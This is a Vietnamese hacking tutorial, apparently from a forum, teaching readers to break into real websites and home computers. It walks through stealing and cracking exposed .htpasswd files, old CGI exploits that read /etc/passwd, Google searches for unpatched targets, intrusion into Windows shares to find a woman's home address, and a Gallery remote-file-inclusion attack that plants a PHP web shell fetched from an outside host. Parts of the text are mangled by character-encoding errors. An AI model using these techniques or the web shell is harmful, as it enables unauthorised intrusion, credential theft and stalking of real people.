Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó (ả ơi cất đồ nghề hack của viethacker.net mà báo e-chIP đã nói tới chẳng hạn). Khi ta click vào cái link đó thì (thông thường) nó sẽ gọi tới.htpasswd và.htaccess nằm ở cùng trong thư mục bảo vệ trang Web. Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file.htaccess.Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó. Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia. Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra. Bạn hãy nhìn VD sau:

CODE

Graham:F#.DG*m38d%RF

Webmaster:GJA54j.3g9#$@f

Username bạn có thể đọc được rồi, còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi. Bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? Cái này nó có sự can thiệp của thằng file.htaccess. Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi crack mớ mật khẩu chết tiệt đó (khi chưa có đồ nghề crack mật khẩu trong tay. Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp, nếu thành công tôi sẽ post lên cho các bạn). Lỗi là ở đây, chuyện gì sẽ xảy ra nếu cái.htpasswd nằm ngoài thư mục bảo vệ có file.htaccess ? Ta sẽ chôm được nó dễ dàng, bạn hãy xem link VD sau:

http://www.company.com/cgi-bin/pro tected/

hãy kiểm tra xem file.htpasswd có được bảo vệ bởi.htaccess hay không, ta nhập URL sau:

http://www.company.com/cgi-bin/pro tected/.htpasswd

ả ếu bạn thấy có câu trả lời ‘’File not found’’ hoặc tương tự thì chắc chắn file này đã không được bảo vệ, bạn hãy tìm ra nó bằng một trong các URL sau:

http://www.company.com/.htpasswd</ a>

http://www.company.com/cgi-bin/.ht passwd

http://www.company.com/cgi-bin/pas swords/.htpasswd

http://www.company.com/cgi-bin/pas swd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự (có thể nó nằm ngay ở thư mục gốc đấy), cho đến khi nào các bạn tìm thấy thì thôi nhé.

Khi tìm thấy file này rồi, bạn hãy dùng chương trình ''John the rIPper'' hoặc ''Crackerjack'', để crack password cất trong đó. Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồi, lấy user name và password hợp lệ đột nhập vào rồi xem thử mấy cô cậu ''tâm sự'' những gì trong đó, nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé. Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là ''có chức có quyền'' cả.

23.- Tìm hiểu về CGI ?

CGI là từ viết tắt của Common Gateway Interface, đa số các Website đều đang sử dụng chương trình CGI (được gọi là CGI scrIPt) để thực hiện những công việc cần thiết 24 giờ hằng ngày. ầ hững nguyên bản CGI scrIPt thực chất là những chương trình được viết và được upload lên trang Web với những ngôn ngữ chủ yếu là Perl, C, C++, VbscrIPt trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình, chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày.

Thông thường, CGI scrIPt được cất trong thư mục /cgi-bin/ trên trang Web như VD sau:

http://www.company.com/cgi-bin/log in.cgi

với những công việc cụ thể như:

Tạo ra chương trình đếm số người đã ghé thăm.

Cho phép những người khách làm những gì và không thể làm những gì trên Website của bạn.

Quản lý user name và passwd của thành viên.

Cung cấp dịch vụ Mail.

Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên.

Cung cấp những thông báo lỗi chi tiết v.v…

24.- Cách hack Web cơ bản nhất thông qua CGI scrIPt:

Lỗi thứ 1: Lỗi nph-test-cgi

Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn.

Đánh dòng sau vào cuối cùng: /cgi-bin/nph-test-cgi

Lúc đó trên URL bạn sẽ nhìn giống như thế này:

http://www.servername.com/cgi-bin/ nph-test-cgi

ầ ếu thành công bạn sẽ thấy các thư mục được cất bên trong. Để xem thư mục nào bạn đánh tiếp:

CODE

? /*

file chứa password thường được cất trong thư mục /etc, bạn hãy đánh trên URL dòng sau:

http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/*

Lỗi thứ 2: Lỗi php.cgi

Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass:

http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd

Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó, các bạn hãy vào trang google.com rồi đánh từ khóa:

/cgi-bin/php.cgi?/etc/passwd]

hoặc cgi-bin/nph-test-cgi?/etc

sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé.

25.- Kỹ thuật xâm nhập máy tính đang online:

Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lại vừa khó. Bạn có thể nói dễ khi bạn sử dụng công cụ Eả T 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account, có một cách êm thấm hơn, ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công. Ok, ta sẽ bắt đầu:

Dùng chương trình scan IP như Eả T 3 để scan IP mục tiêu.

Vào Start == > Run gõ lệnh cmd.

Trong cửa sổ DOS hãy đánh lệnh ‘’net view’’

CODE

VD: c:\net view 203.162.30.xx

Bạn hãy nhìn kết quả, nếu nó có share thì dễ quá, bạn chỉ cần đánh tiếp lệnh net use <ổ đĩa bất kỳ trên máy của bạn >: <ổ share của nạn nhân >

VD: c:\net use E: 203.162.30.xxC

ả ếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Password thì bạn hãy download chương trình dò password về sử dụng (theo tôi bạn hãy load chương trình ‘’pqwak2’’ áp dụng cho việc dò password trên máy sử dụng HĐH Win98 hoặc Winme và chương trình ‘’xintruder’’ dùng cho Win ả T). Chú ý là về cách sử dụng thì hai chương trình tương tự nhau, dòng đầu ta đánh IP của nạn nhân, dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với ‘’xintruder’’ ta chú ý chỉnh Delay của nó cho hợp lý, trong mạng LAả thì Delay của nó là 100 còn trong mạng Internet là trên dưới 5000.

ả ếu máy của nạn nhân không có share thì ta đánh lệnh:

net use <ổ đĩa bất kỳ trên máy của bạn >: c$ (hoặc d$)‘’administrator’’

VD: net use E: 203.162.30.xxC$ ‘’administrator’’

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ‘’administrator’’.

Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình ‘’thầm thương trộm nhớ’’ để tìm những dữ liệu liên quan đến địa chỉ của cô nàng (với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó). Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh:

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi, nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta. Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên. (Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà.)

Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy.

ả hiểu bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập, nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác, khi các bạn thực hành xong đoạt được quyền admin có bạn đã xóa cái database của họ. ả hư vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng. mong các bạn thông cảm, nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào.

Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online, tìm hiểu sơ các bước khi ta quyết định hack một trang Web, kỹ thuật tìm ra lỗi trang Web để thực hành, kỹ thuật hack Web thông qua lỗi Gallery.v...

26.- Tìm hiểu về RPC (Remote Procedure Call):

Windows ả T cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán. Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows ả T. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính.

Microsoft RPC sử dụng name service provider để định vị Servers trên mạng.

Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (ả IS). ả IS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server).

Khi cài đặt Windows ả T, Microsoft Locator tự động được chọn như là name service provider. ả ó là name service provider tối ưu nhất trên môi trường mạng Windows ả T.

27.- Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call):

ả ếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi, bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được. ả ó còn chống được hầu hết tools xâm nhập vào máy (vì đa số các tools viết connect dựa trên remote procedure call (over tcp/IP). Các trojan đa số cũng dựa vào giao thức này.

Cách tắt: Bạn vào service/remote procedure call (click chuột phải) chọn starup typt/disable hoặc manual/ apply.

Đây là cách chống rất hữu hiệu với máy PC, nếu thêm với cách tắt file sharing thì rất khó bị hack), nhưng trong mạng LAả bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này. Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý. Theo tôi thì nếu dùng trong mạng LAả bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó.

28.- Những bước để hack một trang web hiện nay:

Theo liệt kê của sách Hacking EXPosed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau:

FootPrinting: (In dấu chân)

Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. ả ó bao gồm chi tiết về địa chỉ IP, Whois, Dả S.v.v...đại khái là những thông tin chính thức có liên quan đến mục tiêu. ả hiểu khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thông tin đó.

Scanning: (Quét thăm dò)

Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành v.v...Các công cụ được sử dụng ở đây như nmap, WS pingPro, sIPhon, fscam và còn nhiều công cụ khác nữa.

Enumeration: (liệt kê tìm lỗ hổng)

Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. ả ó bao gồm các mật khẩu mặc định, các scrIPt và dịch vụ mặc định. Rất nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.

Gaining Access: (Tìm cách xâm nhập)

Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là ả AT, podium, hoặc L0pht.

Escalating Privileges: (Leo thang đặc quyền)

Ví dụ trong trường hợp hacker xâm nhập được vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và RIPer là hai chương trình crack password rất hay được sử dụng.

Pilfering: (Dùng khi các file chứa pass bị sơ hở)

Thêm một lần nữa các máy tìm kiếm lại được sử dụng để tìm các phương pháp truy cập vào mạng. ả những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.

Covering Tracks: (Xóa dấu vết)

Sau khi đã có những thông tin cần thiết, hacker tìm cách xóa dấu vết, xóa các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biết cũng không tìm ra kẻ xâm nhập là ai.

Creating ‘’Back Doors’’: (Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn)

Hacker để lại ‘’Back Doors’’, tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…

Denial of Service (DoS): (Tấn công kiểu từ chối dịch vụ)

ả êu không thành công trong việc xâm nhập, thì DOS là phương tiện cuối cùng để tấn công hệ thống. ả ếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DOS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DOS là trin00, Pong Of Death, teardrop, các loại nuker, flooder. Cách này rất lợi hại, và vẫn còn sử dụng phổ biến hiện nay.

Tùy theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào. Không nhất thiết phải làm theo tuần tự. Các bạn hãy nhớ đến câu ‘’biết người biết ta trăm trận trăm thắng’’.

29.- Cách tìm các Website bị lỗi:

Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? ả hưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi (Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả).

Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau ‘’allinurl:’’. VD ta có đoạn mã lỗi trang Web sau:

cgi-bin/php.cgi?/etc/passwd

các bạn sẽ đánh:

‘’allinurl:cgi-bin/php.cgi?/etc/passwd’’

ả ó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn, các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê (dòng địa chỉ màu xanh lá cây) nếu dòng nào viết y chang từ khóa mình nhập vào thì trang đó đã hoặc đang bị lỗi. Các bạn có xâm nhập vào được hay không thì cũng còn tùy vào trang Web đó đã fix lỗi này hay chưa nữa.

Các bạn quan tâm đến lỗi forum, các bạn muốn tìm forum dạng này để thực tập, chỉ cần nhập từ khóa

powered by

VD sau là để tìm forum dùng Snitz 2000:

powered by Snitz 2000

Tuy nhiên, việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao, bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó (cái này rất quan trọng, các bạn hãy tự mình tìm hiểu thêm nhé).

VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau

‘’/admin hay /advadmin hay /hosting’’

ta hãy đánh từ khóa:
allinurl:/advadmin
hoặc allinurl:/admin
hoặc allinurl:/hosting
ả ó sẽ liệt kê ra các trang Web có URL dạng:
http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting
VD với forum UBB có đoạn đặc trưng
‘’cgi-bin/ultimatebb.cgi?’’
Ta cũng tìm tương tự như trên.

Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang ‘’Lỗi bảo mật’’ của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra.

30.- Kỹ thuật hack Web thông qua lỗi Gallery (một dạng của lỗi php code inject):

Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP, lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload, đó chính là mục đích chính của ta.

Trước hết bạn hãy đăng ký một host miễn phí, tốt nhất là bạn đăng ký ở brinkster.com cho dễ. Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau:

CODE
```
<?php
global $PHP_SELF,
echo ’’
<form method=post action=$PHP_SELF?$QUERY_STRIả G >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
’’,
set_magic_quotes_runtime(1),
if ($act == ‘’shell’’) {
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp >’’,
system($shell),
echo ’’
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
```

```
$realname = $_FILES[‘userfile’][‘name’],
print ‘’realname is $realname\n’’,
print ‘’copying file to uploads dir’’.$realname,
copy($_FILES[‘’userfile’’][‘’tmp_name’’],*PATH*.$realna me), // lưu ý *PATH*
chúng ta sẽ thay đổi sau
} else {
echo ‘’Possible file upload attack: filename’’.$_FILES[‘userfile’][‘name’].’’.’’,
}
}
if ($act == ‘’upload’’) {
handleupload(),
}
echo ’’
<form Eả CTYPE=multIPart/form-data method=post
action=$PHP_SELF?$QUERY_STRIả G >
File:<Iả PUT TYPE=FILE ả AME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >
’’
  ,
? >
```

Bạn hãy đặt tên là upload.php, nó sẽ dùng để upload lên trang Web của nạn nhân.

Tiếp theo Bạn vào Google, gõ ‘’Powered by gallery’’ rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery, bạn hãy chọn lấy một trang bất kỳ rồi dùng link sau để thử xem nó còn mắc lỗi Gallery hay không:

http:// trang Web của nạn nhân >/gallery./captionator.php? GALLERY_BASEDIR =http://ww wxx.brinkster.com/ /

ả ếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng, bên phải của nó là ô lệnh chuyển tiếp có chữ ‘’Go’’ là coi như bạn đã tìm thấy được đối tượng rồi đó. Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân.

Trước hết bạn hãy gõ lệnh ‘’pwd’’ để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút ‘’Go’’, khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dưới (Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là ‘’/home/abc/xyz/gallery’’).

Sau đó bạn đánh tiếp lệnh ‘’|s –a|’’ để liệt kê các thư mục con của nó. Bây giờ bạn hãy nhìn kết quả, bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê. Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuối cùng của mỗi hàng kết quả:

Bạn hãy loại bỏ trường hợp các thư mục mà có dấu ‘’.’’ hoặc ‘’..’’ vì đây là thư mục gốc hoặc là thư mục ảo (ả ó thường được xếp trên cùng của các hàng kết quả).

Bạn cũng loại bỏ những hàng có chữ cuối cùng có gắn đuôi (VD như config.php, check.inc.v.v...) vì đây là những file chứ không phải là thư mục.

Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 (Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang), vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo, vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào. Tôi VD tôi phát hiện ra thư mục ‘’loveyou’’ có chứa 12 file có thể cho ta upload, như vậy đường dẫn chính thức mà ta upload lên sẽ là:

/home/abc/xyz/Gallery/loveyou

Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành ‘’/home/abc/xyz/gallery/loveyou/’’. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là ‘’’’ (2 dấu ngoặc kép).

Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi, bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn:

http:// trang Web của nạn nhân > /gallery./captionator.php? GALLERY_BASEDIR= http://ww wxx.brinkster.com/ /

Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh, một là nút ‘’brown’’, một là nút ‘’upload’’. ả út ‘’brown’’ bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn, nút ‘’upload’’ khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân. Ok, bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó. Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database, password (làm tương tự như các bài hướng dẫn hack trước), nhưng các bạn chỉ nên thực tập chứ đừng xóa database hay phá Web của họ. ả ếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ: ‘’Hack by……..’’ là đủ rồi.

Cũng như những lần trước, các bạn có thành công hay không cũng tùy thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn.

31.- Gói tin TCP/IP là gì ?

TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể viết lại một gói tin và làm cho nó trong giống như đến từ một người khác!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải chạy trên Linux hoặc có một chương trình cho phép bạn làm điều này.

32.- Linux là gì`:

ả ói theo nghĩa gốc, Linux là nhân (kernel) của HĐH. ả hân là 1 phần mềm đảm trách chức vụ liên lạc giữa các chương trình ứng dụng máy tính và phần cứng. Cung cấp các chứng năng như: Quản lý file, quản lý bộ nhớ ảo, các thiết bị nhập xuất nhưng ổ cứng, màn hình, bàn phím,....ả hưng ả hân Linux chưa phải là 1 HĐH, vì thế nên ả hân Linux cần phải liên kết với những chương trình ứng dụng được viết bởi tổ chức Gả U tạo lên 1 HĐH hoàn chỉnh: HĐH Linux. Đây cũng là lý do tại sao chúng ta thấy Gả U/Linux khi được nhắc đến Linux.

Tiếp theo, 1 công ty hay 1 tổ chức đứng ra đóng gói các sản phẩm này (ả hân và Chương trình ứng dụng) sau đó sửa chữa một số cấu hình để mang đặc trưng của công ty/ tổ chức mình và làm thêm phần cài đặt (Installation Process) cho bộ Linux đó, chúng ta có: Distribution. Các Distribution khác nhau ở số lượng và loại Software được đóng gói cũng như quá trình cài đặt, và các phiên bản của ả hân. 1 số Distribution lớn hiện nay của Linux là: Debian, Redhat, Mandrake, SlackWare, Suse.

33.- Các lệnh căn bản cần biết khi sử dụng hoặc xâm nhập vào hệ thống Linux:

Lệnh ‘’man’’: Khi bạn muốn biết cách sử dụng lệnh nào thì có thể dùng tới lệnh nay:

Cấu trúc lệnh: $ man.

Ví dụ: $ man man

Lệnh ‘’uname’’: Cho ta biết các thông tin cơ bản về hệ thống

Ví dụ: $uname -a, nó sẽ đưa ra thông tin sau:

Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 i686 unknown

Lệnh id: Xem uid/gid hiện tại (xem nhóm và tên hiện tại)

Lệnh w: Xem các user đang login và action của họ trên hệ thống.

Ví Dụ: $w nó sẽ đưa ra thông tin sau:

10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00

Lệnh ps: Xem thông tin các process trên hệ thống

Ví dụ: $ps axuw

Lệnh cd: Bạn muốn di chuyển đến thư mục nào. phải nhờ đến lệnh này.

Ví dụ: $ cd /usr/bin ---- > nó sẽ đưa bạn đến thư mục bin

Lệnh mkdir: Tạo 1 thư mục.

Ví dụ: $ mkdir /home/convit --- > nó sẽ tạo 1 thư mục convit trong /home

Lệnh rmdir: Gỡ bỏ thư mục

Ví dụ: $ rmdir /home/conga ---- > nó sẽ gỡ bỏ thư mục conga trong /home.

Lệnh ls: Liệt kê nội dung thư mục

Ví dụ: $ls -laR /

Lệnh printf: In dữ liệu có định dạng, giống như sử dựng printf() của C++.

Ví dụ: $printf %s ``\x41\x41\x41\x41``

Lệnh pwd: Đưa ra thư mục hiện hành

Ví dụ: $pwd ------ > nó sẽ cho ta biết vị trí hiện thời của ta ở đâu: /home/level1

Các lệnh: cp, mv, rm có nghĩa là: copy, move, delete file

Ví dụ với lệnh rm (del): $rm -rf /var/tmp/blah ----- > nó sẽ del file blah.

Làm tương tự đối với các lệnh cp, mv.

Lệnh find: Tìm kiếm file, thư mục

Ví dụ: $find / -user level2

Lệnh grep: Công cụ tìm kiếm, cách sử dụng đơn giản nhất: grep ‘’something’’

Ví dụ: $ps axuw | grep ‘’level1’’

Lệnh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng nó để tìm các khai báo hành chuỗi trong chương trình, hay các gọi hàm hệ thống, có khi tìm thấy cả password nữa

VD: $strings /usr/bin/level1

Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu ích để theo dõi flow của chương trình, cách nhanh nhất để xác định chương trình bị lỗi ở đoạn nào. Trên các hệ thống unix khác, tool tương đương là truss, ktrace.

Ví dụ: $strace /usr/bin/level1

Lệnh ‘’cat, more’’: In nội dung file ra màn hình

$cat /etc/passwd | more -- > nó sẽ đưa ra nội dung file passwd một cách nhanh nhất.

$more /etc/passwd ---- > ả ó sẽ đưa ra nội dung file password một cách từ từ.

Lệnh hexdump: In ra các giá trị tương ứng theo ascii, hex, octal, decimal của dữ liệu nhập vào.

Ví dụ: $echo AAAA | hexdump

Lệnh: cc, gcc, make, gdb: các công cụ biên dịch và debug.

Ví dụ: $gcc -o -g bof bof.c

Ví dụ: $make bof

Ví dụ: $gdb level1

(gdb) break main

(gdb) run

Lệnh perl: một ngôn ngữ

Ví dụ: $perl -e ‘print ‘’A’’x1024’ |./bufferoverflow (Lỗi tràn bộ đệm khi ta đánh vào 1024 ký tự)

Lệnh ‘’bash’’: Đã đến lúc tự động hóa các tác vụ của bạn bằng shell scrIPt, cực mạnh và linh hoạt.

Bạn muốn tìm hiểu về bash, xem nó như thế nào:

$man bash

Lệnh ls: Xem nội dung thư mục (Liệt kê file trong thư mục).

Ví Dụ: $ ls /home ---- > sẽ hiện toàn bộ file trong thư mục Home
$ ls -a ----- > hiện toàn bộ file, bao gồm cả file ẩn

$ ls -l ----- > đưa ra thông tin về các file

Lệnh ghi dữ liệu đầu ra vào 1 file:

Ví dụ: $ ls /urs/bin > ~/convoi ------ > ghi dữ liệu hiển thị thông tin của thư mục bin vào 1 file convoi.

34.- Những hiểu biết cơ bản xung quanh Linux:

a. Một vài thư mục quan trọng trên server:

/home: ả ơi lưu giữ các file người sử dụng (VD: người đăng nhập hệ thống có tên là convit thì sẽ có 1 thư mục là /home/convit)

/bin: ả ơi xử lý các lệnh Unix cơ bản cần thiết như ls chẳng hạn.

/usr/bin: ả ơi xử lý các lệnh dặc biệt khác, các lệnh dùng bởi người sử dụng đặc biệt và dùng quản trị hệ thống.

/bot: ả ơi mà kernel và các file khác được dùng khi khởi động.

/ect: Các file hoạt động phụ mạng, ả FS (ả etwork File System) Thư tín (Đây là nơi trọng yếu mà chúng ta cần khai thác nhiều nhất)

/var: Các file quản trị

/usr/lib: Các thư viện chuẩn như libc.a

/usr/src: Vị trí nguồn của các chương trình.

b. Vị trí file chứa passwd của một số phiên bản khác nhau:

CODE

AIX 3 /etc/security/passwd !/tcb/auth/files//

A/UX 3.0s /tcb/files/auth/?/*

BSD4.3-Ren /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd[.dir|.pag] *

SCO Unix #.2.x /tcb/auth/files//

SunOS4.1+c2 /etc/security/passwd.adjunct ##username

SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] *

Uả ICOS /etc/udb *

35.- Khai thác lỗi của Linux qua lỗ hổng bảo mật của WU-FTP server:

WU-FTP Server (được phát triển bởi Đại Học Washington) là một phần mềm Server phục vụ FTP được dùng khá phổ biến trên các hệ thống Unix & Linux (tất cả các nhà phân phối: Redhat, Caldera, Slackware, Suse, Mandrake....) và cả Windows...., các hacker có thể thực thi các câu lệnh của mình từ xa thông qua file globbing bằng cách ghi đè lên file có trên hệ thống.

Tuy nhiên, việc khai thác lỗi này không phải là dễ vì nó phải hội đủ những điều kiện sau:

Phải có account trên server.

Phải đặt được Shellcode vào trong bộ nhớ Process của Server.

